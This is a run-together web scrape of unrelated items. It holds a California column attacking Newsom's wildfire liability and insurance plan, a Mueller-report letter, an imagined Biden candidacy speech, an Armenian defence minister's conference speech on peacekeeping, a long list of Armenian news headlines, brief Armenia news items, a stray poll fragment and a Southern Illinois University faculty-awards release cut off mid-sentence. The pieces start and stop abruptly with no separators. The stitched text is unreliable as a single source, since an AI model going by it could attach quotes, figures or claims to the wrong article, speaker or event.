native to central and western North America. Those interested in naming the pups can visit http://www.sfzoo.org/special-events/name-our-prairie-dog-pups. One unspoken concept was conspicuously missing the other day, when Gov. Gavin Newsom announced a wildfire mitigation plan he had loudly touted: responsibility. Instead, there were multiple forms of passing the buck. The plan spurred by Newsom has at least three prongs. Even though he didnt quite endorse them, the governor wants the proposals acted on long before the next potentially massive wildfire season arrives in summer and early fall. One plan element would see some reduction of liability for utility companies when their electric lines start fires, especially if the companies are not found at fault. Another envisions a new state wildfire fund created with state money and funds from utility customers statewide, with needy fire victims somehow able to benefit. A third would let insurance companies refuse to sell policies in fire areas or charge more there. Its fair to sum up these three plan portions as two bailouts and a license to gouge. Incentives are also recommended for utilities switching to renewable energy sources faster than now required, hopefully reducing the climate change that helped the swift spread of disastrously huge fires in 2017 and 2018. One group that could benefit from all this: The victims, even though most knew or should have known just what they were getting into. The biggest blazes of the last two years occurred in or near areas that have burned before. People living there had every reason to know the dangers they faced. Wrote one local columnist in a fire area: I told (my wife), This neighborhood is going to burn to the ground someday. We bought the house anyway. But the proposed plan would have taxpayers and utility customers who deliberately refuse to live in fire-prone areas share the cost when homes there burn. Already, prices for everyones property insurance tend to climb when insurers make multi-billion-dollar payoffs on existing policies. Thats just one feature of the Newsom task force plan for a wildfire disaster fund. But why should taxpayers in historically safe areas pay into this? Newsoms response is that Were all in this together But he doesnt explain why that should be true for folks who deliberately avoid fire areas. They dont live in lovely forests, with scenic streams and gullies and thick woods, sweeping mountain views or ocean vistas. Reporters who visit fire areas that just burned often hear residents say something like this in virtually every fire-prone part of California: We love the lifestyle and the ambiance here and we wont be driven out by any disaster. Most taxpayers and utility customers get neither those vistas nor their ambiance. Why should they subsidize a lifestyle they dont have and usually cant afford? If people voluntarily help home-owning fire victims, thats admirable, but why use tax dollars? Deploying tax money after earthquakes and hurricanes is very different, since they can hit almost anywhere and cant with any certainty be avoided like fire areas. Then theres the Newsom task force approach to the big privately owned utilities, Pacific Gas & Electric, Southern California Edison and San Diego Gas & Electric: A suggested lessening of their liabilities in big fires. All have lately been found at fault or admitted fault in fires. Legislators last year refused to let them completely off the hook, and likely also wont this year. Instead, lawmakers should clear the way for relatively new publicly-owned Community Choice Aggregation electric providers to buy up transmission lines and other equipment, so long as they maintain it safely. Existing utilities could use money from this to pay for damage they caused. Newsom said No single stakeholder created this crisis, and no single stakeholder should bear its full cost. He called for costs to be shared by, among others, local governments (read: taxpayers) and utility ratepayers in general. But while no single group created the crisis, plenty of taxpayers and utility customers deliberately avoid fire danger. Newsom didnt adequately or credibly explain why they should pay. In a way, this scene stems from todays societal reluctance to hold individuals and companies responsible for their actions and behavior. But passing the buck eventually stops somewhere, sometime, and California might now be at one of those seminal moments. Thomas D. Elias writes the syndicated California Focus column. He is author of the book, The Burzynski Breakthrough: The Most Promising Cancer Treatment and the Governments Campaign to Squelch It. OK, so the Mueller report is in and we all have our opinions. Total exoneration? I don't think so, but... I can think of three reasons we should stop beating this thing to death and move on with the business of the nation. First, it is obvious that cooler heads in this administration are unwilling to carry out Trump's "Crazy s**t". Secondly, after all these investigations, it is unlikely any attempt at shenanigans will take place anytime soon. And lastly, if Trump was removed from office we get Pence as president, a man who would be afraid to be alone with Angela Merkel or Theresa May. Why don't we concentrate on more important matters, keep an eye on Trump and just vote him out in 2020? Richard Eyheralde Napa Editors note: The author has composed the candidate announcement speech hed like to hear former Vice President Joe Biden deliver. This is an abridged version; the full speech is available on his blog. My fellow Americans: Today I am compelled to declare my candidacy for President of the United States because the very soul of our nation, the existence of our Democracy, the continued integrity of the U.S. Constitution, and the Rule of Law are at stake. I am running for President to protect all of these fundamental pillars of this great country, which are under daily attack, and will be permanently destroyed if Donald Trump is not defeated and sent back to Trump Tower (pause) New York. Systematically, Donald Trump has, over his totally lawless and corrupt 825 days in office, has undermined everything this country stands for; everything tens of thousands of courageous American men and women and our Allies around the globe have fought and died for in Wars stretching back over a century; everything my son Beau battled for until he breathed his last breath. We will not stay silent and let this Democracy be dumped by a fundamentally treacherous man who is an autocrat and a tool of oligarchs to the very marrow of his bone. Good, selfless public servants like the firefighters across Pennsylvania, the police officers in New York, Ohio, Oklahoma, and Oshkosh, and the patriotic men and women of the FBI who protect us from terrorist attacks every single day, are having their lifes work mocked by a man who puts his own self-interest and the interests of his super-rich, corrupt cronies in this country, Russia and Saudi Arabia over this nations interests. I served on the Senate Judiciary Committee for 14 years, chairing the Committee for eight of those years. If that public service taught me anything if my tenure as Chairman of the Senate Foreign Relations Committee taught me anything, if my 36 years in the U.S. Senate and my 8 years as Vice President taught me anything, it is that this nation is built on the blood and the sacrifice of our fathers, sons, mothers and sisters; its built on a firm foundation of fairness, equality and the Rule of Law. Without respect for the law and for each other as human beings, we invite self-dealing, corrupt conduct, meanness and lawlessness precisely the hallmarks of the Trump Administration and Donald Trump. But you dont have to just take my word for it, when you have the most chilling case of continuing corruption, cover-up and obstruction of justice laid out by a rock-solid Republican, a Purple Heart Recipient and War Hero like Bob Mueller in 448 pages of riveting evidence. Muellers textbook case of high crimes and misdemeanors of a sitting President, documents the most dangerous threat our Democracy has ever seen both from within right out of the Oval Office. Putting aside the national security threat detailed in Volume I of the Mueller Report which is a clear abrogation of Mr.Trumps duties as Commander in Chief to protect this nation from a foreign enemy Volume IIs smoking gun evidence of blatant Obstruction of Justice by the President of the United States over and over again, across 180 pages of detailed documentation disqualifies Donald Trump from continuing to serve in this nations highest office. Why would any American who cares about the future of this Democracy and its leadership position in the world, want to support someone who, literally every day, commits unlawful acts that merit his removal from office? The culture of corruption permeating this White House with at least a half-dozen Cabinet members having resigned in disgrace and dozens more Trump Appointees like the 6 Interior Department Employees this week and their new Secretary under the stench of ethics investigations. That pernicious cloud of corruption is even thicker and more ominous with 12 separate, serious criminal investigations swirling around this President himself, his businesses and his questionable associates. Such a stinking swamp of corruption stands in stark contrast to the eight years of impeccable integrity of the Obama/Biden Administration, of which I was a proud partner. Im running for President to clean up this monstrous mess created by Trumps terrible 825-day temper tantrum, to save our democracy from a corrupt, spoiled autocrat, to protect our national security from hostile actors on the world stage, and to reinforce, as the Mueller Report clearly stated that no person in this country is so high that he is above the law. Our challenge is no less than to save this great nation. Join me in bringing this country back to its fundamental promises of hope, fairness and equality for all, and its bedrock principles of democracy and the Rule of Law. This is not a campaign, it is a calling to restore human decency, the dignity of work, democracy and fairness to all law-abiding citizens in this country. Im calling on you to help save our Democracy, our Constitution and our common decency. Steve Villano is a Napa-based blogger. He was a director of Gov. Mario M. Cuomos New York City press office, and is the author of Tightrope: Balancing a Life Between Mario Cuomo and My Brother. He publishes his essays at medium.com/@stevevillano. The discussion of the most pressing global and regional problems and issues, exchange of views on the formation of international security is extremely important in the context of increasing the level of predictability in international relations, Armenian Defense Minister Davit Tonoyan said in his speech at Moscow Conference on International Security. Dear colleagues, friends, ladies and gentlemen, First of all, I would like to thank the Ministry of Defence of the Russian Federation and personally the minister of defence, Army General Sergey Kuzhugetovich Shoigu, for the invitation to take part in the work of this traditional Moscow Conference on International Security. The discussion of the most pressing global and regional problems and issues, exchange of views on the formation of international security is extremely important in the context of increasing the level of predictability in international relations. The topic of today's plenary session is a logical continuation and further development of the last years discussion of approaches to solving global and regional problems, as well as the initiative of the UN Secretary General to increase participation in UN peacekeeping operations, the so-called A4P. We all note with great concern the growing escalation of tension in international relations, the degradation of security mechanisms, the noticeable expansion of conflict zones as a result of aggravating intra-state crises, primarily on ethnic and religious grounds. At the same time, our world has become more interconnected: any instability in a particular region may trigger negative consequences throughout the world. In such a situation, the division of threats to peace and stability into regions is very conditional. The above circumstances prompt the entire international community to set tasks of dynamic development and create prerequisites for revising the approaches and criteria for peacekeeping activities, which in their current form, as was presented in the Declaration on Joint Commitments to UN Peacekeeping Operations, in view of the radical changes that have occurred the field of crisis management is noticeably outdated. The foregoing assumes the resumption of discourse on the legitimacy of the mission, interaction with partners in the mission, as well as the composition of international forces and the rules of their involvement or reconciliation. Legitimacy is a condition based on the perception of legality, morality or correctness of a number of actions by specific audiences, and is central to the tasks of peacemaking, having two key aspects: the legitimacy of the host government and the legitimacy of the international mission. In particular, when participating in international peacekeeping missions, the international community should strictly adhere to two fundamental UN principles: 1. An international mission should be conducted at least with the consent of the legal authorities of the host country. 2. Peacekeeping forces perform tasks for their intended purpose without prejudice and are completely impartial. The task of interaction between various partners or, at least, the interested parties on the mission is equally important. In this context, particular importance is attached to the factor of establishing cooperation or coordination between various actors, which is one of the key conditions for the successful implementation and completion of any peacekeeping activities. Finally, the peacekeeping forces should have a rationalized mandate and composition and be prepared for any development of events, acting solely within the international humanitarian law and the tasks and obligations assigned to them. Moreover, today, traditional peacemaking more and more corresponds to multidimensional, when instead of purely military tasks, diverse tasks are put in the center, the military contingent gives way to mixed military-police-civilian personnel, and the indirect role of peacekeeping forces in political processes is replaced by the most direct involvement. In view of the above, I believe that the main trends in the development of international peacekeeping forces should be: clarification of the legal status of peacekeepers for each individual mission; creation of coordination mechanisms, that is, synchronization or, at least, the so-called de-conflict of the actions of all the parties involved; formation, training, equipping and operational coordination of integrated military-police-civilian teams; continuous improvement of professionalism and ethno-cultural-religious awareness of peacekeepers; creating flexibility for rules for engaging peacekeeping forces; transparency and continuous monitoring of their activities; coordination of logistics for national contingents or groups with the greatest application of the principle of assigning secondary roles and using the services of local contractors; increasing the transparency of the functional and cost indicators of the financial costs of peacekeeping missions; use of advanced technology. The concurrence of interests and goals in ensuring international security dictates the continuous development of their individual and collective potentials to maintain peace and stability, both by world and regional powers, and by countries with limited military capabilities. Armenia also adheres to this approach. For more than two decades, being in an unstable and unpredictable security situation, when the concepts of war and peace are very shaky, Armenia, moving forward with the consistent development of defense capabilities, has been developing national capabilities for maintaining peace and international security. Armenia, as a country that has felt the price of international security and stability in practice, has accumulated considerable experience in the field of peacekeeping over the past 15 years, the acquisition of which began in Kosovo and Iraq. Currently, Armenian peacekeeping forces are represented in four international missions. We also demonstrated a consistent commitment to helping to ensure positive changes in the regions affected by the full-blown crisis, which was reflected in our recently launched National Humanitarian Mission in Syria, the decision on which was taken in accordance with the official request of the host country - the Syrian government, and the request by the Armenian community of Aleppo and their religious leaders, with the assistance of the Russian Ministry of Defence, for which we are very grateful to the Russian Government. In particular, the deployment of the Armenian humanitarian contingent in this region is justified by the historical factor of the Armenian presence in the Middle East from time immemorial and the desire to preserve our roots in the Middle East, taking into account the bitter experience of the past ten years of instability, resulting in a massive exodus of Armenians from Iraq. The humanitarian mission comprises medical personnel and demining specialists who, in cooperation with their Russian colleagues, provide assistance to the population of the Syrian Arab Republic affected by a long-lasting war. The Republic of Armenia intends to continue to make its feasible contribution to the UN-sanctioned peacekeeping undertakings of various formats, carried out in various geographic, climatic, ethnic and confessional operational environments. To this end, we are ready to use all the potential that we have, and above all, the field hospital and specialists in the fight against improvised explosive devices. In conclusion, I would like to assure that Armenia is a champion of the equivalent application of the norms of international law and the right to free choice, reasonable globalization and international security architecture based on abstaining from the policy of force and maximalist approaches, hate speech and belligerent statements. As one of the leading experts on international relations said, Trying to implement their idealistic and realistic goals in foreign policy, states should combine their power with moral principles, and temper their belief in their rightness. Thank you for your attention. Armen Grigoryan clarifies why Ruben Rubinyan was appointed Armenia's envoy for negotiations with Turkey Armenia Security Council Secretary on '3+3' format: If there is opportunity, we will go to Baku and Ankara Armenian Security Council Secretary: There is still no Armenia-Turkey agenda, we need to sit at table and talk Security Council Secretary: Document signed by Armenian, Russian MODs was not about pullout of Armenian troops in Syunik Yerevan Council of Elders member Lilit Pipoyan also drops mandate IRGC uses suicide drones during drills in southern Iran U.S. diplomat arrested on suspicion of selling fake passport to Syrian citizen for $10,000 in Turkey Iran FM: '3+3' format may contribute to strengthening of peace and stability in the region Robert Kocharyan expresses condolences over the death of National Hero Karen Demirtchyan's wife Baku admits that it is blocking opening of communications in region by setting forth different conditions Member of 'My Step' faction of Yerevan Council of Elders applies to leave, but says he won't drop mandate Armenia President: Azerbaijan has been using its position of victory to impose that game 17-year-old boy commits suicide in Armenia's Ararat Province Russian companies have pretension to participate in development of Karabakh's sector occupied by Azerbaijan Iranian FM reminds Aliyev about Iran President's invitation to visit Tehran Body of 34-year-old citizen of Russia found at parking lot of Dvin Hotel in Yerevan Russia MOD: Russian Armed Forces are guarantor of peace in Syria and Nagorno-Karabakh Yerevan mayor's spokesperson Hakob Karapetyan quits NEWS.am daily digest: 22.12.21 Lavrov, Mirzoyan agree on steps to launch practical activities for demarcation of Armenian-Azerbaijani border Turkey hopes construction of Igdir-Nakhchivan natural gas pipeline is launched as soon as possible Inter-agency task force holds first session at Armenia Emergency Situations Ministry Armenian and Russian FMs hold phone talks Georgian and Azerbaijani MODs sign 2022 Bilateral Cooperation Plan Deputy PM: Armenia seeks to diversify its energy system Analyst: At this rate, Armenia's authorities might refuse to visit Armenian Genocide Memorial Complex soon Papikyan, Zas discuss CSTO priorities during Armenia chairmanship Iran-Armenia Friendship Group member: Tehran won't tolerate any territorial change in the region Armenia opposition party leader is arrested One dollar falls below AMD 480 in Armenia Erdogan rejects possibility of snap elections in Turkey Iranian FM: Iran welcomes further economic and trade cooperation with Azerbaijan Peskov says Putin-Biden video call might be held before end of the year Lavrov urges NATO Secretary General Jens Stoltenberg to resign Saakashvili to not attend trial in Tbilisi court today Azerbaijan extends special lockdown regime Peskov: Russia has informed Turkey that it doesn't approve of naming of a park after Dudayev Yerevan has new mayor Yerevan hosts meeting of Armenia-Russia intergovernmental commission on economic cooperation Armenia Deputy PM: Most realistic projects are being considered in this stage Armenia PM expresses condolences over death of wife of statesman and National Hero Karen Demirtchyan Russia presidential spokesman informs about CIS leaders summit on December 29 Armenia Security Council Secretary meets with Stanislav Zas Armenias Sarkissian, Kuwait diplomat confer on regional issues President, PM discuss challenges facing Armenia Member of ruling faction is chairing session of Yerevan Council of Elders after recess, not mayor Azerbaijan defense minister tells details of their operation to seize Karabakhs Shushi International Studies expert: For first time Armenia enters process with Turkey, meeting Ankaras main preconditions Yerevan Mayor on Armenias ruling political force: These people are trying to privatize the revolution Artsakh official: Why international leaders praise Baku for releasing Armenian captives if its international law duty? Armenia President signs law on 2022 state budget 1 more person dies of coronavirus in Artsakh Iran FM heading for Azerbaijan 152 new cases of COVID-19 confirmed in Armenia Armenia premier, Russia deputy PM discuss prospects for restoration of communications in South Caucasus World oil prices going up City council majority faction: Current situation will not enable to work, serve Yerevan effectively for next 2 years Newspaper: Another bonus pay distributed in Armenia parliament Yerevan city council convenes special session, no-confidence motion against Mayor Marutyan on agenda Newspaper: Heated discussion occurs during meeting with Armenia PM Armenian judges address justice minister, say draft laws will put their independence at risk 26 Italian MPs express satisfaction with release of 10 Armenian POWs Mayor of Armenia's Kajaran Manvel Paramazyan greeted pompously after release from custody Aliyev meets with Georgian defense minister Iran's Ambassador to Yemen Hassan Irloo passes away after contracting COVID-19 Japan hangs three suicide bomber convicts It's snowing for the first time this year in Yerevan (PHOTOS) Opposition and police clash in Sukhumi Russian servicemen get stuck under an avalanche in South Ossetia Turkey's TRT covers normalization of Armenian-Turkish relations Islamabad-Tehran-Istanbul railway project launched Armenia FM receives Ile-de-France's Regional Council president, humanitarian issues discussed Armenian cross-stone placed and consecrated in Ukraine's Severodonetsk Armenia Parliament ex-Speaker Karen Demirtchyan's widow dies at 88 EU Special Representative welcomes handover of 2 Azerbaijani servicemen by Armenia Putin, Macron discuss settlement of Karabakh conflict Georgians holding demonstration demanding Saakashvili's release in Tbilisi Armenia Parliament Speaker receives head of France's Ile-de-France region Armenia customs attache: There are nearly 400-500 Armenian truck drivers at Upper Lars checkpoint Armenia Ombudsman, UNICEF release teacher's guide about children's rights Armenia health minister receives leaders of several Russian companies Armenia President, Japan Ambassador discuss current agenda of Armenian-Japanese relations Sarkissian to Pecresse: During war we were convinced once again that France is our real friend Putin assigns to enhance military-technical cooperation with Shanghai Cooperation Organization and CSTO Armen Sarkissian receives India Ambassador Armenia ex-Prosecutor General Aghvan Hovsepyan files report to incumbent Attorney General Members of Armenia ruling party boycott first session of Council of Elders in Aparan Deputies of Iranian Majles visit Armenian Genocide Memorial Complex Yerevan main Christmas tree to be lighted Thursday Dollar gains value in Armenia Ruling power lawmaker: Azerbaijan servicemens capture by Armenia soldiers is deterrent for Baku Ruling force MP: Armenia envoy for dialogue with Turkey will have quite representative apparatus Vladimir Putin: Humanitarian situation in Karabakh has improved thanks to Russian peacekeepers Armenia premiers working visit to Georgia concludes Russia, Turkey discuss current situation in Syria Russia deputy PM to arrive in Armenia today Armenia President congratulates Emmanuel Macron 15th attempt to elect Armenia legislature committee deputy chair also fails Armenia National Security Service launches criminal case on fight in parliament Armenia 2nd President Kocharyan: It is states duty to ensure MP Gevorgyan's participation in PACE work Armenian women have great potential in business, the US Ambassador Lynne Tracy said on Friday at the International Forum of Women's Entrepreneurship, which is held in Armenia for the first time. According to her, thanks to their talent, creativity and determination, Armenian women will be able to achieve their goals, realize their dreams and develop the country. She noted that women work in all areas and make a huge contribution not only to the development of the Armenian economy, but also in all other areas of activity in this country, However, she noted that the economic independence of women contributes not only to the prosperity of families, but can even lead to the growth of the world economy as a whole. At the same time, Lynne Tracy recalled that in 104 countries of the world women are prohibited from engaging in certain types of activities, which limits their potential and rights. This means that 2.7 billion women around the world are deprived of the same opportunities as men, she said adding that the US is ready to work with its allies and partners around the world to jointly change these statistics, and not only because it is the right way, but also because it is the smart and reasonable option. According to her, supporting women is the best way to promote growth and development of the economy. Lynne Tracy concluded that the US Embassy is ready to cooperate with its Armenian partners on all these issues. WASHINGTON, DC Armenian Americans joined with members of the Greater Washington, DC Greek, Assyrian, Yezidi, Christian, and Kurdish communities in a demonstration demanding justice for the Armenian Genocide, against the backdrop of a disruptive April 24 celebration organized by allies of Turkish President Recep Erdogan. The event, held in front of the Turkish Ambassadors residence on Washington, DCs iconic Sheridan Circle, was organized by the AYF Washington, DC Ani Chapter, in coordination with the Armenian Genocide Commemorative Committee of Greater Washington, DC. The Turkish American Steering Committees (TASC) last-minute request to secure a portion of Sheridan Circle for a first amendment counter-protest was exposed as a blatant effort to intimidate and dampen Armenian American participation when only a handful of pro-Erdogan supporters occupied the space they had reserved for 250. It also resulted in the National Park Service rejection of a separate permit request by the Hellenic American Leadership Council, citing space considerations. On this day, I am proud to say that we confront this wall of hatred, this wall of genocide denial, with our piercing power of love, said AYF Ani Chapter member Nareg Kuyumjian, who offered his poignant remarks with TASC members dancing gleefully in the background. The Armenian-American community is rising and the Armenian Cause is more powerful than ever. Protesters also expressed their concerns to President Trump in light of his Armenian Remembrance Day Statement, issued just hours before the protest, in which he once again failed to properly commemorate the Armenian Genocide. Today we protest yet another year of silence on behalf of our government to recognize the Armenian Genocide, but let us not forget all that we have accomplished, said Kuyumjian. Lets not forget that every state except Mississippi recognizes the Armenian Genocide. Lets not forget that Armenian Genocide education is mandated in 15 states. Let us not forget that two Armenian Genocide bills that have been introduced ain Congress that already have over 100 co-sponsors. And let us not forget that Americas improving relationship with Armenia and Artsakh is working to stop the murder of Armenians on the Azerbaijan border - murders that are a direct result of the lack of accountability. Following the rally, Armenian Americans marched to the Embassy of the Republic of Armenia, led by the Greater Washington DC Homenetmen Scouts and Drum Corps, American and Armenian flags held high. The participants joined in the Embassy of Armenias annual Armenian Genocide memorial event at the Khatchkar monument dedicated to the eternal memory of that crime. The prayer service, wreath laying ceremony and program, organized by the Embassy of the Republic of Armenia, featured remarks by Armenian Ambassador to the U.S., His Excellency Varuzhan Nersesyan, ANCA Executive Director Aram Hamparian, Armenian Assembly Government Affairs Director Mariam Khaloyan, and Jake Bournazian of the Washington, DC Knights of Vartan Ani Lodge. Aram Harutyunyan took advantage of the fact that he was a deputy and disappeared from sight. This is what Prime Minister of the Republic of Armenia Nikol Pashinyan told journalists today when asked how he assesses the situation when Gonzalez Narek Sargsyan is in Prague, Mihran Poghosyan is seeking political asylum in the Russian Federation and Aram Harutyunyan has disappeared from sight of Armenias law-enforcement authorities. Nobody had leverages over Aram Harutyunyan so long as he was not deprived of parliamentary immunity, Pashinyan said and went on to say the following: Mihran Poghosyan also took advantage of his parliamentary immunity and departed from Armenia. Whats there to be surprised at? If they were detained while having parliamentary immunity, all journalists would ask me about laws, lawfulness and rule of law. Where are they going to go? Its a small world. I will be very glad, if the money is geared towards the army. This is what Minister of Defense Davit Tonoyan told journalists today, touching upon the statement of Prime Minister of the Republic of Armenia Nikol Pashinyan that the money of former corrupt officials need to be geared towards the army. However, Tonoyan failed to mention how much money has been geared towards the army to date. When asked about his opinion on the statements of Commander-in-Chief of the Armed Forces Nikol Pashinyan that he starting the talks on Artsakh from a new point, meaning that the talks held by his predecessors are being left aside, the defense minister said the following: Do you want me to say something wrong or the opposite? The Prime Minister of the Republic of Armenia makes decisions in regard to foreign policy issues, is responsible for and leads the negotiations. Do you want the defense minister to comment on that? He has assumed a new office and is launching the negotiation process ex-officio. After going through something as life-altering as a car accident, the best thing you can get out of it is... 1. Yes. If a department head is doing a bad job and the city manager wont act, its needed. 2. Yes. Its a crucial safeguard against poor hiring decisions and conflicts of interest. 3. No. It would only muddle the leadership structure and damage employee morale. 4. No. It would make it harder to recruit and retain qualified city leaders at all levels. 5. Unsure. Council oversight may be good, but perhaps not to such a significant extent. Vote View Results Armenian PM Nikol Pashinyan condemned Turkish president Erdogans statement on April 24. He said describing the Armenian Genocide as Armenian gangs and their supporters is not just new high in denialism, but justification of nation murder. Above all, doing this on April 24 is an ultimate insult to the Armenian people and to humanity, extreme hate speech by Erdogan personally. The world must speak out, Pashinyan said. The International Forum on Womens Entrepreneurship, which Armenia is hosting for the first time, was held Friday in capital city Yerevan. Prime Minister Nikol Pashinyan, officials as well as ambassadors of the U.S., UK and France attended the event. In his speech Armenian PM noted that the majority of Armenias population are women and about half of the economically active population also are women. Pashinyan stated that if we do not promote womens entrepreneurship, economic revolution will hardly succeed in Armenia and urged women to make their step in economic revolution. Russia is interested in close cooperation with all Eurasian partnerson the basis of the unshakable principles of respect for the sovereignty, rights, and lawful interests of each and every state, Russian president Vladimir Putin said during Belt and Road Forum for International Cooperation in Beijing. And its with those principles that we [Russia] build the Eurasian Economic Union with our partners Armenia, Belarus, Kazakhstan, Kyrgyzstan. He added that the Eurasian Economic Union strives for the broadest collaboration with all interested countries and unionsand, first of all, with China. The deliveries from Russia that should be carried out by the end of the year, during the next year, the arrangements on all of them have been made. Armenian Defense Minister Davit Tonoyan on Friday told this to reporters. To the remark that Su-30 fighter jets will be deployed at the Russian military airbase in Armenia, too, Tonoyan responded: The Russian base will be modernized over time, and relevant decisions will be made on the type and quantity of armament. As to the observation that during his visit to Armenia, National Security Advisor of the United States John Bolton had remarked that the US can sell arms to Armenia, Toniyan said he had not received any offer. The Ministry of Defense is exploring the market from the perspectives of quality, type and prices, Tonoyan emphasized. Prime Minister Nikol Pashinyan held today a consultation devoted to the problems in the drug market and the opportunities for solving those problems. Among the participants of the consultation were the heads of the responsible departments and representatives of the private sector carrying out activities in the sector, reports the Department of Information and Public Relations of the Government of the Republic of Armenia. We are receiving various alarms about the current situation in the drug market, as well as alarms from the Counting Chamber. Recently, upon a government decision, we introduced some regulations in this sector with the hope to solve most of the problems that exist. The topic and occasion of todays discussion is to understand what problems we have been able to solve through the latest regulations, what the existing problems on our agenda are and what the problems arent on our agenda, but it would be better, if those problems didnt exist, Pashinyan stated. The factors that affect drug prices, the tax administration, the problems with wholesale and retail of drugs, the opportunities to differentiate between wholesale and retail, the maintenance of drugs in customs storages, the fight against illicit circulation of drugs and other issues were particularly touched upon during the consultation. The Prime Minister assigned Minister of Healthcare Arsen Torosyan to establish a platform and hold regular discussions with sector-specific representatives to discuss the current issues and the possible solutions to those issues and the regulations in the drug market. IS Features Infographic on Sri Lanka Bombings in Naba 179, Names Zahran Hashim and Provides Additional Details Awards honor six outstanding SIU faculty and staff members CARBONDALE, Ill. Southern Illinois University Carbondale will honor six members of the faculty and staff for superior scholarship, teaching and service. Chancellor John M. Dunn will host a recognition ceremony honoring the recipients of the Faculty and Staff Excellence Awards at 3 p.m. on May 1 in the John C. Guyon Auditorium at Morris Library. Refreshments will be available after the program. The recipients are: Sukesh R. Bhaumik (The Scholar Excellence Award), Ken B. Anderson (The Teaching Excellence Award), Farhan Chowdhury (The Early Career Faculty Excellence Award), Nilanjana Bardhan (The Women of Distinction Award), Jeff McGoy and Timothy Lyle Attig (The Staff Excellence Award). I like to say that at SIU, its personal, said Chancellor John M. Dunn. And the winners of these awards exemplify the qualities that make that true. Their dedication to outstanding teaching, research and service ensures our students receive individual attention and a superior education. I appreciate their hard work and am happy to have them as part of the Saluki family. Sukesh R. Bhaumik to receive Scholar Excellence Award The Scholar Excellence Award recognizes and promotes outstanding research and creative endeavors, and is given only to those who have made outstanding contributions to their discipline and who are widely recognized for their achievements by other scholars in the field. Bhaumik earned his bachelors degree from the University of Calcutta, his masters degree from the Indian Institute of Technology, Bombay and his doctorate from the Tata Institute of Fundamental Research, Bombay. He completed a postdoctoral fellowship at Howard Hughes Medical Institute at the University of Massachusetts Medical School and joined the SIU faculty in 2003. His research has advanced the field of genetics in relation to human diseases. He has published more than 70 peer-reviewed articles in respected journals such as Molecular and Cellular Biology, the Journal of Molecular Biology, and the Journal of Biological Chemistry. His work has also garnered spotlight positions and was used as the cover image for these prestigious journals. He also serves as an editor or on the editorial boards of several journals, including GENE and PLOS ONE. He has presented at 28 prestigious national and international conferences, and he has earned grants from the U.S. National Institutes of Health, the American Heart Association, the American Cancer Society and the Edward Mallinckrodt Foundation. Ken B. Anderson to receive Teaching Excellence Award, tenured and tenure-track The Teaching Excellence Award recognizes faculty who demonstrate outstanding teaching, high-quality classroom performance, innovation, and commitment to student learning outcomes and inclusive excellence in education. Anderson received his bachelors degree and Ph.D. in organic chemistry from the University of Melbourne, specializing his graduate research on the organic chemistry of coal. He completed his postdoctoral studies at Argonne National Laboratory before taking work in the private sector. He joined SIUs faculty in 2003. He has also served in various roles with the American Chemical Society, and helped to establish the Division of Geochemistrys open access journal Geochemical Transactions. Andersons research into environmentally friendly ways to use coal led to multiple patents for a new process to utilize coal. The process drastically reduces the amount of pollution, including greenhouse gases like carbon dioxide, when compared to burning coal for energy. He started a company, Thermaquatica Inc., to find commercial uses for this new process, resulting in multiple awards, including SIU Innovator of the Year, SIU Startup of the Year and the State of Illinois SBDC Shining Star Award. Dr. Ken Anderson has offered outstanding service to his department, university, and to his discipline and he has an international reputation for his research in organic geochemistry, said Steven Esling in his nomination letter. He is an outstanding teacher who has changed the lives of students. Anderson has a focus on students. When he realized that many students would have multiple final exams in one day, he recruited his colleagues to help him create a new algorithm for the universitys final exam schedule. The result, which seeks to minimize conflicts is currently used by the registrars office to create the final exam schedule. Farhan Chowdhury to receive Early Career Faculty Excellence Award The Early Career Faculty Award recognizes faculty within their first five years at SIU Carbondale for significant contributions throughout the year to their discipline or the university community. The award recognizes excellence in scholarship, teaching and other professional activities. Chowdhury received his bachelors degree, with honors, in mechanical engineering from Bangladesh University of Engineering and Technology, his masters degree from Tuskegee University and his doctorate from the University of Illinois at Urbana-Champaign. He completed a postdoctoral fellowship at the Carl R. Woese Institute for Genomic Biology, University of Illinois at Urbana-Champaign. He joined SIU in 2015, and has taught a variety of courses, including Cellular and Molecular Biomechanics, a course he developed himself. He earned the departments Outstanding Teacher Award in both 2016 and 2017. Farhan is also a prolific researcher. He has authored 27 peer-reviewed articles and has been sited more than 2,100 times, according to Google Scholar. His research was featured in multiple news outlets, including in The Scientist, a prominent Science news journal. His work has also earned multiple grants, including funding from prestigious institutions like the Elsa Pardee Foundation and the National Science Foundation. Farhan represents a new generation of young engineers and scientists who perform interdisciplinary research in science, engineering and biology, said Dr. Rosit Koc in a nomination letter. His excellence in teaching, grantsmanship and student supervision make him a promising and rising junior faculty in the university. Nilanjana Bardhan to receive Women of Distinction Award The Women of Distinction Award is given to a faculty, administrative/professional or civil service staff member, and recognizes employees for a sustained commitment to women and/or issues of diversity through demonstrated leadership, vision, or actions in their profession, expertise or service to the university community. Bardhan has taught at SIU since 1998, and has previously served as assistant chair and acting chair for the Department of Communication Studies. She earned her bachelors degree in English and philosophy at Lady Shriram College for Women, Delhi University, and her masters and doctorate degrees from E.W. Scripps School of Journalism at Ohio University. Sandy Pensoneau-Conway said she nominated Bardham for the award because of her unwavering support, her commitment to her students and her overall demonstration of excellence. Bardhan also serves on the advisory board for the Plank Center for Leadership in Public Relations and co-chairs that organizations Diversity and Inclusion subcommittee. She volunteers with For Kids Sake, a local nonprofit, the United Nations Association, the Peace Coalition and more. She has presented more than two dozen papers at conference, authored or co-authored 3 books and published almost 30 papers in academic journals. She has been honored with the Best Authored Book Award for Cultivating Cosmopolitanism for Intercultural Communications: Communicating as Global Citizens, and the Best Co-Edited Book Award for Identity Research in Intercultural Communication. She is known internationally for her work in critical/cultural studies that sheds light on diversity issues in public relations, often in a global context, wrote T. Kenn Gaither in a nomination letter. In her area of specialization, she has few peers and has carved out a place as a preeminent scholar in global public relations practice. Jeff McGoy and Timothy Lyle Attig to receive Staff Excellence Award The Staff Excellence Award recognizes an administrative/professional or civil service staff member for significant contributions to further the universitys mission. That includes demonstrating excellence in overall work performance, helping to improve students experiences, and serving as a positive role model for faculty, staff and students. McGoy is an actor, creator and motivational speaker, who earned both his bachelors and masters degrees from SIU. Since 2013, he has served as the assistant dean of students, where he oversees several important programs, including First Scholars and TRIO Student Support Services, among others. Before that, he worked as an admissions coordinator and the coordinator of new student programs from 2006-2010. Jeff is the epitome of a student affairs professional, said Randolph Burnside in a nomination letter. His hard work on behalf of and dedication to SIUC and our students is known not just on the campus, but throughout the Southern Illinois community. In addition to his duties as assistant dean of students, he is the Undergraduate Student Ombudsman and a care manager for Saluki Cares, and also serves on the board of directors for McLeod Summer Playhouse. He has given his time to numerous organizations through 